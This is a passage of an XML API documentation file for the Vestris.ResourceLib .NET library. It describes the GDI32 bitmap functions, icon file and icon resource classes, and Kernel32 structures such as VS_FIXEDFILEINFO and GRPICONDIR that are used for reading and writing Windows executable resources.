name=\"T:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER\">\n            <summary>\n            The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB.\n            http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfType\">\n            <summary>\n            The file type; must be BM.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfSize\">\n            <summary>\n            The size, in bytes, of the bitmap file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved1\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved2\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfOffBits\">\n            <summary>\n            The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.GetDIBits(System.IntPtr,System.IntPtr,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Retrieves the bits of the specified compatible bitmap and copies them into a buffer as \n            a DIB using the specified format\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"hbmp\">A handle to the bitmap. This must be a compatible bitmap (DDB).</param>\n            <param name=\"uStartScan\">The first scan line to retrieve.</param>\n            <param name=\"cScanLines\">The number of scan lines to retrieve.</param>\n            <param name=\"lpvBits\">A pointer to a buffer to receive the bitmap data.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.</param>\n            <param name=\"uUsage\">The format of the bmiColors member of the BITMAPINFO structure.</param>\n            <returns>\n            If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.\n            If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDIBSection(System.IntPtr,Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32,System.IntPtr@,System.IntPtr,System.UInt32)\">\n            <summary>\n            Create a DIB that applications can write to directly. The function gives you a pointer to the location \n            of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use \n            to create the bitmap, or you can let the system allocate the memory for the bitmap.\n            </summary>\n            <param name=\"hdc\">Handle to a device context.</param>\n            <param name=\"pbmi\">A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors.</param>\n            <param name=\"iUsage\">The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values).</param>\n            <param name=\"ppvBits\">A pointer to a variable that receives a pointer to the location of the DIB bit values.</param>\n            <param name=\"hSection\">A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL.</param>\n            <param name=\"dwOffset\">The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values.\n            If the function fails, the return value is NULL, and *ppvBits is NULL.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.DIBColors\">\n            <summary>\n            Defines how to interpret the values in the color table of a DIB.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_RGB_COLORS\">\n            <summary>\n            The color table contains literal RGB values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_COLORS\">\n            <summary>\n            The color table consists of an array of 16-bit indexes into the LogPalette \n            object that is currently defined in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_INDICES\">\n            <summary>\n            No color table exists. The pixels in the DIB are indices into the current logical \n            palette in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_LOGINDICES\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleDC(System.IntPtr)\">\n            <summary>\n            Creates a memory device context (DC) compatible with the specified device.\n            </summary>\n            <param name=\"hdc\">Handle to an existing device context.</param>\n            <returns>\n            The handle to a memory device context indicates success.\n            NULL indicates failure.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDC(System.String,System.String,System.String,System.IntPtr)\">\n            <summary>\n            \n            </summary>\n            <param name=\"lpDriverName\">Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL.</param>\n            <param name=\"lpDeviceName\">Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80).</param>\n            <param name=\"lpOutput\">This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows.</param>\n            <param name=\"lpInitData\">A pointer to a DEVMODE structure containing device-specific initialization data for the device driver.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleBitmap(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Creates a bitmap compatible with the device that is associated with the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to a device context.</param>\n            <param name=\"nWidth\">The bitmap width, in pixels.</param>\n            <param name=\"nHeight\">The bitmap height, in pixels.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the compatible bitmap (DDB).\n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SelectObject(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Selects an object into a specified device context. The new object replaces the previous object of the same type. \n            </summary>\n            <param name=\"hdc\">Handle to the device context.</param>\n            <param name=\"hgdiobj\">Handle to the object to be selected.</param>\n            <returns>\n            If the selected object is not a region, the handle of the object being replaced indicates success. \n            If the selected object is a region, one of the following values indicates success. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteObject(System.IntPtr)\">\n            <summary>\n            Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. \n            </summary>\n            <param name=\"hObject\">Handle to a logical pen, brush, font, bitmap, region, or palette.</param>\n            <returns>\n            Nonzero indicates success. \n            Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteDC(System.IntPtr)\">\n            <summary>\n            Deletes the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <returns>\n            If the function succeeds, the return value is nonzero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.GenericResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.GenericResource._data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.GenericResource.Data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An unstructured generic resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            A generic resource.\n            </summary>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a generic resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of icons that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile\">\n            <summary>\n            This structure depicts the organization of data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile.GroupType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Icon\">\n            <summary>\n            Icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Cursor\">\n            <summary>\n            Cursor.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Type\">\n            <summary>\n            Type of the group icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Icons\">\n            <summary>\n            Collection of icons in an .ico file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.#ctor(System.String)\">\n            <summary>\n            An existing .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.LoadFrom(System.String)\">\n            <summary>\n            Load from a .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.Read(System.IntPtr)\">\n            <summary>\n            Read icons.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of a FILEGRPICONDIR structure.</param>\n            <returns>Pointer to the end of a FILEGRPICONDIR structure.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFileIcon\">\n            <summary>\n            This structure depicts the organization of icon data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Header\">\n            <summary>\n            Icon header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Image\">\n            <summary>\n            Icon bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.#ctor\">\n            <summary>\n            New icon data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Width\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Height\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a single icon (.ico).\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of this icon's data.</param>\n            <param name=\"lpAllData\">Pointer to the beginning of all icon data.</param>\n            <returns>Pointer to the end of this icon's data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.ToString\">\n            <summary>\n            Icon size as a string.\n            </summary>\n            <returns>Icon size in the width x height format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconImageResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._header\">\n            <summary>\n            Directory header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._image\">\n            <summary>\n            Actual image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Header\">\n            <summary>\n            Hardware-independent icon directory header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Id\">\n            <summary>\n            Embedded icon Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Image\">\n            <summary>\n            An icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Create a new icon image resource from a file icon.\n            </summary>\n            <param name=\"icon\">File icon.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource id.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Width\">\n            <summary>\n            Icon width in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Height\">\n            <summary>\n            Icon height in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read an icon resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to a directory entry in the hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read the bitmap image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">Size of image.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormat\">\n            <summary>\n            Icon pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormatString\">\n            <summary>\n            Icon pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ToString\">\n            <summary>\n            String representation of the icon.\n            </summary>\n            <returns>A string in a format of width x height followed by the pixel format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write icon resource data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.SaveIconTo(System.String)\">\n            <summary>\n            Save icon to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Resource language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32\">\n            <summary>\n            Kernel32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER\">\n            <summary>\n            A resource header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wLength\">\n            <summary>\n            Header length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wValueLength\">\n            <summary>\n            Data length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.#ctor(System.UInt16)\">\n            <summary>\n            A new resource header of a given length.\n            </summary>\n            <param name=\"valueLength\"></param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE\">\n            <summary>\n            Resource header type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.BinaryData\">\n            <summary>\n            Binary data.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.StringData\">\n            <summary>\n            String data.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VAR_HEADER\">\n            <summary>\n            Language and code page combinations.\n            The low-order word of each DWORD must contain a Microsoft language identifier, \n            and the high-order word must contain the IBM code page number. \n            Either high-order or low-order word can be zero, indicating that the file is language \n            or code page independent.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wLanguageIDMS\">\n            <summary>\n            Microsoft language identifier.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wCodePageIBM\">\n            <summary>\n            IBM code page number.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO\">\n            <summary>\n            This structure contains version information about a file. \n            This information is language- and code page–independent.\n            http://msdn.microsoft.com/en-us/library/ms647001.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwSignature\">\n            <summary>\n            Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwStrucVersion\">\n            <summary>\n            Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlagsMask\">\n            <summary>\n            Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlags\">\n            <summary>\n            Contains a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileOS\">\n            <summary>\n            Specifies the operating system for which this file was designed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileType\">\n            <summary>\n            Specifies the general type of file. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileSubtype\">\n            <summary>\n            Specifies the function of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.GetWindowsDefault\">\n            <summary>\n            Creates a default Windows VS_FIXEDFILEINFO structure.\n            </summary>\n            <returns>A default Windows VS_FIXEDFILEINFO.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIR\">\n            <summary>\n            A hardware-independent icon directory resource header.\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wType\">\n            <summary>\n            Resource type, 1 for icons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wImageCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry.\n            See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bWidth\">\n            <summary>\n            Width of the image. Starting with Windows 95 a value of 0 represents width of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bHeight\">\n            <summary>\n            Height of the image. Starting with Windows 95 a value of 0 represents height of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bColors\">\n            <summary>\n            Number of colors in the image. \n            bColors = 1 &lt;&lt; (wBitsPerPixel * wPlanes)\n            If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.nID\">\n            <summary>\n            Icon ID.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bWidth\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bHeight\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bColors\">\n            <summary>\n            Colors; 0 means 256 or more.\n            